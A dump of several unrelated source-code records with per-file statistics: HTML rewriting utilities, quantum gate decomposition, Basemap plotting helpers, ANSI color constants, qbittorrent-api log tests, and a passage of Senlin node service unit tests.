encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() middle_html = "".join(original_html) stylesheet_old = 'rel="stylesheet"(.*?)\/>' if folderDepth == 1: stylesheet_new = f'rel="stylesheet" href="./styles.css" type="text/css" media="screen" />' else: stylesheet_new = f'rel="stylesheet" href="{"../" * (int(folderDepth))}styles.css" type="text/css" media="screen" />' new_html = re.sub(stylesheet_old, stylesheet_new, middle_html, flags=re.DOTALL) with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break def massHTMLStyleRemoval(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() middle_html = "".join(original_html) styles_block = '<style(.*?)<\/style>' styles_inline = 'style="(.*?);"' new_html = re.sub(styles_block, "", middle_html, flags=re.DOTALL) new_html = re.sub(styles_inline, "", new_html, flags=re.DOTALL) with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break def massHTMLIMGLink(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) urls = [] for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() middle_html = "".join(original_html) src = 'src="(.*?)"' new_html = re.findall(src, middle_html, flags=re.DOTALL) for entry in new_html: urls.append(entry) if test == True: break f = open("links.txt", "w") for entry in urls: f.write(entry) f.write('\n') f.close() def massHTMLSRCupdate(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() middle_html = "".join(original_html) src_old_one = 'src="(.*?)//' src_old_two = 'src=\'(.*?)//' if folderDepth == 1: src_new_one = f'src="./assets' src_new_two = f'src=\'./assets' else: src_new_one = f'src="{"../" * (int(folderDepth))}' src_new_two = f'src=\'{"../" * (int(folderDepth))}' middle_middle_html = re.sub(src_old_one, src_new_one, middle_html, flags=re.DOTALL) new_html = re.sub(src_old_two, src_new_two, middle_middle_html, flags=re.DOTALL) with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break def massHTMLSelfRefrence(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() middle_html = "".join(original_html) old_pointer_one = 'http://mybestofbothworlds.com/w' old_pointer_two = 'http://mybestofbothworlds.com/2' if folderDepth == 1: new_pointer_one = f'./mybestofbothworlds.com/w' new_pointer_two = f'./2' else: new_pointer_one = f'{"../" * (int(folderDepth))}mybestofbothworlds.com/w' new_pointer_two = f'{"../" * (int(folderDepth))}2' middle_middle_html = re.sub(old_pointer_one, new_pointer_one, middle_html, flags=re.DOTALL) new_html = re.sub(old_pointer_two, new_pointer_two, middle_middle_html, flags=re.DOTALL) with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break def removeTags(baseDirectory, folderDepth, baseURL, test=False): import os import re import codecs files = [] for dirname, dirnames, filenames in os.walk(baseDirectory): #specify how many directories deep to get files if (dirname[len(baseDirectory):].count(os.sep) > folderDepth - 1) & (dirname[len(baseDirectory):].count(os.sep) < folderDepth + 1): for filename in filenames: if ".git" not in dirname: files.append(os.path.join(dirname, filename)) for filename in files: original_html = [] new_html = [] with codecs.open(filename, "r", encoding='UTF-8', errors='ignore') as f: for line in f.readlines(): original_html.append(line) f.close() middle_html = "".join(original_html) old_pointer_one = '<span class="tags">(.*?)<\/span>' new_pointer_one = '' new_html = re.sub(old_pointer_one, new_pointer_one, middle_html, flags=re.DOTALL) # new_html = re.sub(old_pointer_two, new_pointer_two, middle_middle_html, flags=re.DOTALL) with codecs.open(filename, "w", encoding='UTF-8') as nf: for line in new_html: if type(line) == list: for line in line: nf.write(line) else: nf.write(line) # nf.write('\n') nf.close() if test == True: break # delete styles # delete style="\W\A[1]"
36.221662
139
0.525591
1,626
14,380
4.557196
0.083641
0.031174
0.031579
0.060459
0.805533
0.767476
0.751822
0.723212
0.723212
0.711201
0
0.006873
0.352434
14,380
396
140
36.313131
0.788875
0.050556
0
0.739683
0
0.009524
0.067938
0.018048
0
0
0
0
0
1
0.025397
false
0
0.07619
0
0.101587
0.025397
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3d68ae45acbcf1049e29de37b9420bfa6a79ecf9
1,519
py
Python
optimize_circuit/transformations.py
DavitKhach/optimal-quantum-circuit
1f9a1b8c7c94d80ae5f0d96f854f26943cf49c10
[ "MIT" ]
null
null
null
optimize_circuit/transformations.py
DavitKhach/optimal-quantum-circuit
1f9a1b8c7c94d80ae5f0d96f854f26943cf49c10
[ "MIT" ]
null
null
null
optimize_circuit/transformations.py
DavitKhach/optimal-quantum-circuit
1f9a1b8c7c94d80ae5f0d96f854f26943cf49c10
[ "MIT" ]
null
null
null
import numpy as np from optimize_circuit.gates import X, Y, Z, OneQubitUnitary def u_to_zxz_gates(u_one_gate: OneQubitUnitary): """Transforms OneQubitUnitary into ZXZ gate sequence :param u_one_gate: OneQubitUnitary :return: list of equivalent gates in form [Z(index, alpha_1), X(index, alpha_2), Z(index, alpha_3)] """ gates = [] if (u_one_gate.lam - (np.pi / 2)) != 0: gates.append(Z(u_one_gate.index, (u_one_gate.lam - (np.pi / 2)))) if u_one_gate.theta != 0: gates.append(X(u_one_gate.index, u_one_gate.theta)) if (u_one_gate.phi + (np.pi / 2)) != 0: gates.append(Z(u_one_gate.index, (u_one_gate.phi + (np.pi / 2)))) return gates def u_to_zyz_gates(u_one_gate: OneQubitUnitary): """Transforms OneQubitUnitary into ZYZ gate sequence :param u_one_gate: OneQubitUnitary :return: list of equivalent gates in form [Z(index, alpha_1), Y(index, alpha_2), Z(index, alpha_3)] """ gates = [] if u_one_gate.lam != 0: gates.append(Z(u_one_gate.index, u_one_gate.lam)) if u_one_gate.theta != 0: gates.append(Y(u_one_gate.index, u_one_gate.theta)) if u_one_gate.phi != 0: gates.append(Z(u_one_gate.index, u_one_gate.phi)) return gates def u_to_xyx_gates(u_one_gate: OneQubitUnitary): pass def u_to_xzx_gates(u_one_gate: OneQubitUnitary): pass def u_to_yxy_gates(u_one_gate: OneQubitUnitary): pass def u_to_yzy_gates(u_one_gate: OneQubitUnitary): pass
26.649123
73
0.671494
251
1,519
3.756972
0.183267
0.110286
0.220573
0.195122
0.897137
0.861082
0.827147
0.816543
0.638388
0.517497
0
0.013333
0.210007
1,519
56
74
27.125
0.7725
0.254773
0
0.357143
0
0
0
0
0
0
0
0
0
1
0.214286
false
0.142857
0.071429
0
0.357143
0
0
0
0
null
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
8
3d912a57dbcba96177f8873d3acf1f90a0e20261
5,459
py
Python
plot_tool.py
ALDepp/python_toolbox
3ee61636598e93ebe8b01aed223530b12747377b
[ "MIT" ]
null
null
null
plot_tool.py
ALDepp/python_toolbox
3ee61636598e93ebe8b01aed223530b12747377b
[ "MIT" ]
null
null
null
plot_tool.py
ALDepp/python_toolbox
3ee61636598e93ebe8b01aed223530b12747377b
[ "MIT" ]
null
null
null
#!/usr/bin/env python import os, pickle, math, shelve import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.basemap import Basemap, maskoceans def plot_map(lon,lat,var,name,title=''): """ This function plots a map of the variable you specify. Arguments are: lon, lat, variable to plot, name of file to be saved to, title (optional). A large range is used for the variable and the spacing. This applies to eg global maps. Where the range is smaller plot_map_region should be used. """ mapfile = ('map_'+str(int(min(lat)))+'_'+str(int(max(lat)))+'_' +str(int(min(lon)))+'_'+str(int(max(lon)))+'.pkl') if os.path.isfile(mapfile): f = open(mapfile,'r') map = pickle.load(f) f.close() else: map = Basemap( projection='cea', resolution='i', llcrnrlat=min(lat)+1,urcrnrlat=max(lat)-1, llcrnrlon=min(lon),urcrnrlon=max(lon),lat_ts=0 ) f = open(mapfile,'wb') pickle.dump(map,f) f.close() map.drawcoastlines() map.drawcountries() par = map.drawparallels(np.arange(-80,81,20),labels=[1,0,0,0]) mer = map.drawmeridians(np.arange(-180,180,30),labels=[0,0,0,1]) x, y = map(*np.meshgrid(lon,lat)) # levels=np.arange(math.ceil(np.nanmin(var)),int(np.nanmax(var)),0.5) levels=np.arange(int(np.nanmax(var))-30,int(np.nanmax(var))+1,0.5) data = map.contourf(x,y,var,levels) cbar = map.colorbar(data) plt.title(title) plt.savefig(name+'.pdf',dpi=200) plt.close() return None def plot_map_region(lon,lat,var,name,title='',lb=20,ub=30,spacing=0.25): """ This function plots a map of the variable you specify. Arguments are: lon, lat, variable to plot, name of file to be saved to, title (optional). A large range is used for the variable and the spacing. This applies to eg global maps. Where the range is smaller plot_map_region should be used. """ mapfile = ('map_'+str(int(min(lat)))+'_'+str(int(max(lat)))+'_' +str(int(min(lon)))+'_'+str(int(max(lon)))+'.pkl') if os.path.isfile(mapfile): f = open(mapfile,'r') map = pickle.load(f) f.close() else: map = Basemap( projection='cea', resolution='i', llcrnrlat=min(lat)+1,urcrnrlat=max(lat)-1, llcrnrlon=min(lon),urcrnrlon=max(lon),lat_ts=0 ) f = open(mapfile,'wb') pickle.dump(map,f) f.close() map.drawcoastlines() map.drawcountries() par = map.drawparallels(np.arange(-80,81,5),labels=[1,0,0,0]) mer = map.drawmeridians(np.arange(-180,180,2.5),labels=[0,0,0,1]) x, y = map(*np.meshgrid(lon,lat)) levels=np.arange(lb,ub,spacing) data = map.contourf(x,y,var,levels) cbar = map.colorbar(data) plt.title(title) plt.tight_layout() plt.savefig(name+'.pdf',dpi=200) plt.close() return None def plot_bias_map(lon,lat,var1,var2,name,title='',lb=-2.5,ub=2.5,spacing=0.1): """ This function plots a map of the difference between the two variables you specify. The arguments are: lon, lat, var1 - var2, filename, title (optional), lower and upper bound, spacing for the map (lb, ub, spacing), optional. """ mapfile = ('map_'+str(int(min(lat)))+'_'+str(int(max(lat)))+'_' +str(int(min(lon)))+'_'+str(int(max(lon)))+'.pkl') if os.path.isfile(mapfile): f = open(mapfile,'r') map = pickle.load(f) f.close() else: map = Basemap( projection='cea', resolution='i', llcrnrlat=min(lat)+1,urcrnrlat=max(lat)-1, llcrnrlon=min(lon),urcrnrlon=max(lon),lat_ts=0 ) f = open(mapfile,'wb') pickle.dump(map,f) f.close() map.drawcoastlines() map.drawcountries() par = map.drawparallels(np.arange(-80,81,20),labels=[1,0,0,0]) mer = map.drawmeridians(np.arange(-180,180,30),labels=[0,0,0,1]) x, y = map(*np.meshgrid(lon,lat)) bias = var1 - var2 landmask = maskoceans(x,y,np.ones(np.shape(x)),inlands=False) landmask.mask = ~landmask.mask masked_bias = bias * landmask levels=np.arange(lb,ub,spacing) data = map.contourf(x,y,bias,levels) cbar = map.colorbar(data) plt.title(title) plt.tight_layout() plt.savefig(name+'_bias.pdf',dpi=200) plt.close() return landmask def plot_bias_map_small(lon,lat,var1,var2,name,title='',lb=-2.5,ub=2.5,spacing=0.1): """ This function plots a map of the difference between the two variables you specify. The arguments are: lon, lat, var1 - var2, filename, title (optional), lower and upper bound, spacing for the map (lb, ub, spacing), optional. """ mapfile = ('map_'+str(int(min(lat)))+'_'+str(int(max(lat)))+'_' +str(int(min(lon)))+'_'+str(int(max(lon)))+'.pkl') if os.path.isfile(mapfile): f = open(mapfile,'r') map = pickle.load(f) f.close() else: map = Basemap( projection='cea', resolution='i', llcrnrlat=min(lat)+1,urcrnrlat=max(lat)-1, llcrnrlon=min(lon),urcrnrlon=max(lon),lat_ts=0 ) f = open(mapfile,'wb') pickle.dump(map,f) f.close() map.drawcoastlines() map.drawcountries() par = map.drawparallels(np.arange(-80,81,2),labels=[1,0,0,0]) mer = map.drawmeridians(np.arange(-180,180,2),labels=[0,0,0,1]) x, y = map(*np.meshgrid(lon,lat)) bias = var1 - var2 landmask = maskoceans(x,y,np.ones(np.shape(x)),inlands=False) landmask.mask = ~landmask.mask masked_bias = bias * landmask levels=np.arange(lb,ub,spacing) data = map.contourf(x,y,bias,levels) cbar = map.colorbar(data) plt.title(title) plt.tight_layout() plt.savefig(name+'_bias_s.pdf',dpi=200) plt.close() return landmask
32.494048
84
0.654882
888
5,459
3.97973
0.162162
0.027165
0.020374
0.020374
0.922184
0.911998
0.911998
0.894454
0.894454
0.894454
0
0.032117
0.161568
5,459
168
85
32.494048
0.740004
0.207181
0
0.854962
0
0
0.023546
0
0
0
0
0
0
1
0.030534
false
0
0.030534
0
0.091603
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3dfbf90f046ff18659b1f9d79e657846b08d3ec2
193
py
Python
sdat/tools_count/__init__.py
Chipeyown/SPLiT-seq-Data-Analysis_Toolkit
903fdbeeed8d0ef91c7a08af6226731297b21bdc
[ "MIT" ]
4
2019-09-11T07:20:22.000Z
2020-09-04T09:21:18.000Z
sdat/tools_count/__init__.py
Chipeyown/SPLiT-seq-Data-Analysis_Toolkit
903fdbeeed8d0ef91c7a08af6226731297b21bdc
[ "MIT" ]
1
2019-09-10T01:37:18.000Z
2019-09-10T01:45:42.000Z
sdat/tools_count/__init__.py
Chipeyown/SPLiT-seq-Data-Analysis_Toolkit
903fdbeeed8d0ef91c7a08af6226731297b21bdc
[ "MIT" ]
1
2020-09-17T02:24:06.000Z
2020-09-17T02:24:06.000Z
from sdat.tools_count.count_gene_per_cell import * from sdat.tools_count.count_profile import * from sdat.tools_count.overall_count import * from sdat.tools_count.get_expression_table import *
38.6
51
0.854922
31
193
4.967742
0.419355
0.207792
0.337662
0.467532
0.649351
0
0
0
0
0
0
0
0.082902
193
4
52
48.25
0.870057
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9ab1e51339c58f2f018703cd636d5afe071c3c63
996
py
Python
Exercícios/BBC.py
JefterV/Cursoemvideo.py
e65ac53a4e38793be3039d360e7127e1c5d51030
[ "MIT" ]
3
2020-11-24T17:20:34.000Z
2020-12-03T01:19:31.000Z
Exercícios/BBC.py
JefterV/Cursoemvideo.py
e65ac53a4e38793be3039d360e7127e1c5d51030
[ "MIT" ]
null
null
null
Exercícios/BBC.py
JefterV/Cursoemvideo.py
e65ac53a4e38793be3039d360e7127e1c5d51030
[ "MIT" ]
1
2021-01-03T00:48:48.000Z
2021-01-03T00:48:48.000Z
''' Biblioteca de cores''' #texto = {'limpa': '\033[m', # 'branca': '\033[30m', # 'vermelho': '\033[31m', # 'verde': '\033[32m', # 'amarelo': '\033[33m', # 'azul': '\033[34m', # 'magenta': '\033[35m', # 'azul c':'\033[36m', # 'cinza': '\033[37m'} #fundo = {'fbranca':'\033[40m', # 'fvermelho':'\033[41m', # 'fverde':'\033[42m', # 'famarelo':'\033[43m', # 'fazul':'\033[44m', # 'fmagenta':'\033[45m', # 'fazulc':'\033[46m', # 'fcinza':'\033[47m',} ''' ESTILO ''' Padrao= '\033[0m' Negrito = '\033[1m' Sublinhado= '\033[4m' Negative= '\033[7m' # TEXTO limpa= '\033[m' branca= '\033[30m' vermelho= '\033[31m' verde= '\033[32m' amarelo= '\033[33m' azuL= '\033[34m' magenta= '\033[35m' azulc= '\033[36m' cinza= '\033[37m' # FUNDO fbranca= '\033[40m' fvermelho= '\033[41m' fverde= '\033[42m' famarelo= '\033[43m' fazul= '\033[44m' fmagenta= '\033[45m' fazulc= '\033[46m' fcinza= '\033[47m'
23.162791
33
0.51004
123
996
4.130081
0.406504
0.03937
0.051181
0.055118
0.834646
0.834646
0.834646
0.834646
0.834646
0.834646
0
0.231847
0.211847
996
43
34
23.162791
0.415287
0.419679
0
0
0
0
0.3
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
b105e5377ff113aadca0d7ee35959ce15c606cbf
1,520
py
Python
tests/test_log.py
rootuttu/qbanus2
e616d0b3c350576ea247d55e9c3f3e355cfa5b08
[ "MIT" ]
160
2019-06-20T06:15:13.000Z
2022-03-29T17:02:08.000Z
tests/test_log.py
rootuttu/qbanus2
e616d0b3c350576ea247d55e9c3f3e355cfa5b08
[ "MIT" ]
79
2019-09-27T14:19:13.000Z
2022-03-25T19:37:23.000Z
tests/test_log.py
rootuttu/qbanus2
e616d0b3c350576ea247d55e9c3f3e355cfa5b08
[ "MIT" ]
18
2019-06-03T03:18:52.000Z
2022-03-07T12:27:38.000Z
import pytest from qbittorrentapi.log import LogMainList, LogPeersList @pytest.mark.parametrize("normal", (True, False)) @pytest.mark.parametrize("info", (True, False)) @pytest.mark.parametrize("warning", (True, False)) @pytest.mark.parametrize("critical", (True, False)) @pytest.mark.parametrize("last_known_id", (None, 0, 100000)) def test_main(client, normal, info, warning, critical, last_known_id): assert isinstance( client.log_main( normal=normal, info=info, warning=warning, critical=critical, last_known_id=last_known_id, ), LogMainList, ) assert isinstance( client.log.main( normal=normal, info=info, warning=warning, critical=critical, last_known_id=last_known_id, ), LogMainList, ) assert isinstance(client.log.main.info(last_known_id=last_known_id), LogMainList) assert isinstance(client.log.main.normal(last_known_id=last_known_id), LogMainList) assert isinstance(client.log.main.warning(last_known_id=last_known_id), LogMainList) assert isinstance( client.log.main.critical(last_known_id=last_known_id), LogMainList ) @pytest.mark.parametrize("last_known_id", (None, 0, 100000)) def test_log_peers(client, last_known_id): assert isinstance(client.log_peers(last_known_id=last_known_id), LogPeersList) assert isinstance(client.log.peers(last_known_id=last_known_id), LogPeersList)
34.545455
88
0.689474
185
1,520
5.421622
0.151351
0.179462
0.219342
0.199402
0.832502
0.733799
0.733799
0.711864
0.670987
0.670987
0
0.011513
0.2
1,520
43
89
35.348837
0.813322
0
0
0.5
0
0
0.033553
0
0
0
0
0
0.210526
1
0.052632
false
0
0.052632
0
0.105263
0
0
0
0
null
0
1
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b1957b012ff536d2f38670ca4cbad91f9737fdb8
54,068
py
Python
senlin/tests/unit/conductor/service/test_nodes.py
openstack/senlin
390779ca1e08f819683e79993696f945f1c0393e
[ "Apache-2.0" ]
45
2015-10-18T02:56:50.000Z
2022-03-01T15:28:02.000Z
senlin/tests/unit/conductor/service/test_nodes.py
openstack/senlin
390779ca1e08f819683e79993696f945f1c0393e
[ "Apache-2.0" ]
2
2019-04-26T10:44:47.000Z
2020-12-16T19:45:34.000Z
senlin/tests/unit/conductor/service/test_nodes.py
openstack/senlin
390779ca1e08f819683e79993696f945f1c0393e
[ "Apache-2.0" ]
45
2015-10-19T02:35:57.000Z
2021-09-28T09:01:42.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from unittest import mock from oslo_config import cfg from oslo_messaging.rpc import dispatcher as rpc from senlin.common import consts from senlin.common import exception as exc from senlin.common.i18n import _ from senlin.common import utils as common_utils from senlin.conductor import service from senlin.engine.actions import base as action_mod from senlin.engine import dispatcher from senlin.engine import environment from senlin.engine import node as node_mod from senlin.objects import cluster as co from senlin.objects import node as no from senlin.objects import profile as po from senlin.objects.requests import nodes as orno from senlin.profiles import base as pb from senlin.tests.unit.common import base from senlin.tests.unit.common import utils class NodeTest(base.SenlinTestCase): def setUp(self): super(NodeTest, self).setUp() self.ctx = utils.dummy_context(project='node_test_project') self.svc = service.ConductorService('host-a', 'topic-a') @mock.patch.object(no.Node, 'get_all') def test_node_list(self, mock_get): obj_1 = mock.Mock() obj_1.to_dict.return_value = {'k': 'v1'} obj_2 = mock.Mock() obj_2.to_dict.return_value = {'k': 'v2'} mock_get.return_value = [obj_1, obj_2] req = orno.NodeListRequest() result = self.svc.node_list(self.ctx, req.obj_to_primitive()) self.assertEqual([{'k': 'v1'}, {'k': 'v2'}], result) mock_get.assert_called_once_with(self.ctx, project_safe=True) @mock.patch.object(co.Cluster, 'find') @mock.patch.object(no.Node, 'get_all') def test_node_list_with_cluster_id(self, mock_get, mock_find): obj_1 = mock.Mock() obj_1.to_dict.return_value = {'k': 'v1'} obj_2 = mock.Mock() obj_2.to_dict.return_value = {'k': 'v2'} mock_get.return_value = [obj_1, obj_2] mock_find.return_value = mock.Mock(id='CLUSTER_ID') req = orno.NodeListRequest(cluster_id='MY_CLUSTER_NAME', project_safe=True) result = self.svc.node_list(self.ctx, req.obj_to_primitive()) self.assertEqual([{'k': 'v1'}, {'k': 'v2'}], result) mock_find.assert_called_once_with(self.ctx, 'MY_CLUSTER_NAME') mock_get.assert_called_once_with(self.ctx, cluster_id='CLUSTER_ID', project_safe=True) @mock.patch.object(no.Node, 'get_all') def test_node_list_with_params(self, mock_get): obj_1 = mock.Mock() obj_1.to_dict.return_value = {'k': 'v1'} obj_2 = mock.Mock() obj_2.to_dict.return_value = {'k': 'v2'} mock_get.return_value = [obj_1, obj_2] MARKER_UUID = '2fd5b45f-bae4-4cdb-b283-a71e9f9805c7' req = orno.NodeListRequest(status=['ACTIVE'], sort='status', limit=123, marker=MARKER_UUID, project_safe=True) result = self.svc.node_list(self.ctx, req.obj_to_primitive()) self.assertEqual([{'k': 'v1'}, {'k': 'v2'}], result) mock_get.assert_called_once_with(self.ctx, sort='status', limit=123, marker=MARKER_UUID, project_safe=True, filters={'status': ['ACTIVE']}) @mock.patch.object(co.Cluster, 'find') def test_node_list_cluster_not_found(self, mock_find): mock_find.side_effect = exc.ResourceNotFound(type='cluster', id='BOGUS') req = orno.NodeListRequest(cluster_id='BOGUS', project_safe=True) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_list, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.BadRequest, ex.exc_info[0]) self.assertEqual('Cannot find the given cluster: BOGUS.', str(ex.exc_info[1])) mock_find.assert_called_once_with(self.ctx, 'BOGUS') @mock.patch.object(no.Node, 'get_all') def test_node_list_with_project_safe(self, mock_get): mock_get.return_value = [] req = orno.NodeListRequest(project_safe=True) result = self.svc.node_list(self.ctx, req.obj_to_primitive()) self.assertEqual([], result) mock_get.assert_called_once_with(self.ctx, project_safe=True) mock_get.reset_mock() req = orno.NodeListRequest(project_safe=False) ex = self.assertRaises(rpc.ExpectedException, self.svc.node_list, self.ctx, req.obj_to_primitive()) self.assertEqual(exc.Forbidden, ex.exc_info[0]) self.ctx.is_admin = True req = orno.NodeListRequest(project_safe=False) result = self.svc.node_list(self.ctx, req.obj_to_primitive()) self.assertEqual([], result) mock_get.assert_called_once_with(self.ctx, project_safe=False) mock_get.reset_mock() @mock.patch.object(no.Node, 'get_all') def test_node_list_empty(self, mock_get): mock_get.return_value = [] req = orno.NodeListRequest() result = self.svc.node_list(self.ctx, req.obj_to_primitive()) self.assertEqual([], result) mock_get.assert_called_once_with(self.ctx, project_safe=True) @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'create') @mock.patch.object(po.Profile, 'find') @mock.patch.object(dispatcher, 'start_action') def test_node_create(self, notify, mock_profile, mock_node, mock_action): mock_profile.return_value = mock.Mock(id='PROFILE_ID') x_node = mock.Mock(id='NODE_ID') x_node.to_dict.return_value = {'foo': 'bar'} mock_node.return_value = x_node mock_action.return_value = 'ACTION_ID' req = orno.NodeCreateRequestBody(name='NODE1', profile_id='PROFILE_NAME') result = self.svc.node_create(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar', 'action': 'ACTION_ID'}, result) mock_profile.assert_called_once_with(self.ctx, 'PROFILE_NAME') mock_node.assert_called_once_with( self.ctx, { 'name': 'NODE1', 'profile_id': 'PROFILE_ID', 'cluster_id': '', 'index': -1, 'role': '', 'metadata': {}, 'user': self.ctx.user_id, 'project': self.ctx.project_id, 'domain': self.ctx.domain_id, 'data': {}, 'init_at': mock.ANY, 'dependents': {}, 'physical_id': None, 'status': 'INIT', 'status_reason': 'Initializing', }) mock_action.assert_called_once_with( self.ctx, 'NODE_ID', consts.NODE_CREATE, name='node_create_NODE_ID', cluster_id='', cause=consts.CAUSE_RPC, status=action_mod.Action.READY) notify.assert_called_once_with() @mock.patch.object(common_utils, 'format_node_name') @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'create') @mock.patch.object(co.Cluster, 'get_next_index') @mock.patch.object(co.Cluster, 'find') @mock.patch.object(po.Profile, 'find') @mock.patch.object(dispatcher, 'start_action') def test_node_create_same_profile(self, notify, mock_profile, mock_cluster, mock_index, mock_node, mock_action, mock_node_name): mock_profile.return_value = mock.Mock(id='PROFILE_ID', type='PROFILE_TYPE') x_cluster = mock.Mock(id='CLUSTER_ID', profile_id='PROFILE_ID', config={}) mock_cluster.return_value = x_cluster mock_index.return_value = 12345 x_node = mock.Mock(id='NODE_ID') x_node.to_dict.return_value = {'foo': 'bar'} mock_node.return_value = x_node mock_action.return_value = 'ACTION_ID' mock_node_name.return_value = "GENERATED_NAME" req = orno.NodeCreateRequestBody(name='NODE1', profile_id='PROFILE_NAME', cluster_id='FAKE_CLUSTER') result = self.svc.node_create(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar', 'action': 'ACTION_ID'}, result) mock_cluster.assert_called_once_with(self.ctx, 'FAKE_CLUSTER') mock_profile.assert_called_once_with(self.ctx, 'PROFILE_NAME') mock_index.assert_called_once_with(self.ctx, 'CLUSTER_ID') mock_node.assert_called_once_with( self.ctx, { 'name': 'GENERATED_NAME', 'profile_id': 'PROFILE_ID', 'cluster_id': 'CLUSTER_ID', 'index': 12345, 'role': '', 'metadata': {}, 'user': self.ctx.user_id, 'project': self.ctx.project_id, 'domain': self.ctx.domain_id, 'data': {}, 'init_at': mock.ANY, 'dependents': {}, 'physical_id': None, 'status': 'INIT', 'status_reason': 'Initializing', }) mock_action.assert_called_once_with( self.ctx, 'NODE_ID', consts.NODE_CREATE, cluster_id='CLUSTER_ID', name='node_create_NODE_ID', cause=consts.CAUSE_RPC, status=action_mod.Action.READY) notify.assert_called_once_with() @mock.patch.object(common_utils, "format_node_name") @mock.patch.object(action_mod.Action, 'create') @mock.patch.object(no.Node, 'create') @mock.patch.object(co.Cluster, 'get_next_index') @mock.patch.object(co.Cluster, 'find') @mock.patch.object(po.Profile, 'find') @mock.patch.object(dispatcher, 'start_action') def test_node_create_same_profile_type(self, notify, mock_profile, mock_cluster, mock_index, mock_node, mock_action, mock_node_name): mock_profile.side_effect = [ mock.Mock(id='NODE_PROFILE_ID', type='PROFILE_TYPE'), mock.Mock(id='CLUSTER_PROFILE_ID', type='PROFILE_TYPE'), ] x_cluster = mock.Mock(id='CLUSTER_ID', profile_id='CLUSTER_PROFILE_ID', config={}) mock_cluster.return_value = x_cluster mock_index.return_value = 12345 x_node = mock.Mock(id='NODE_ID') x_node.to_dict.return_value = {'foo': 'bar'} mock_node.return_value = x_node mock_action.return_value = 'ACTION_ID' mock_node_name.return_value = 'GENERATED_NAME' req = orno.NodeCreateRequestBody(name='NODE1', profile_id='PROFILE_NAME', cluster_id='FAKE_CLUSTER') result = self.svc.node_create(self.ctx, req.obj_to_primitive()) self.assertEqual({'foo': 'bar', 'action': 'ACTION_ID'}, result) mock_cluster.assert_called_once_with(self.ctx, 'FAKE_CLUSTER') mock_profile.assert_has_calls([ mock.call(self.ctx, 'PROFILE_NAME'), # for node mock.call(self.ctx, 'CLUSTER_PROFILE_ID'), # for cluster ]) 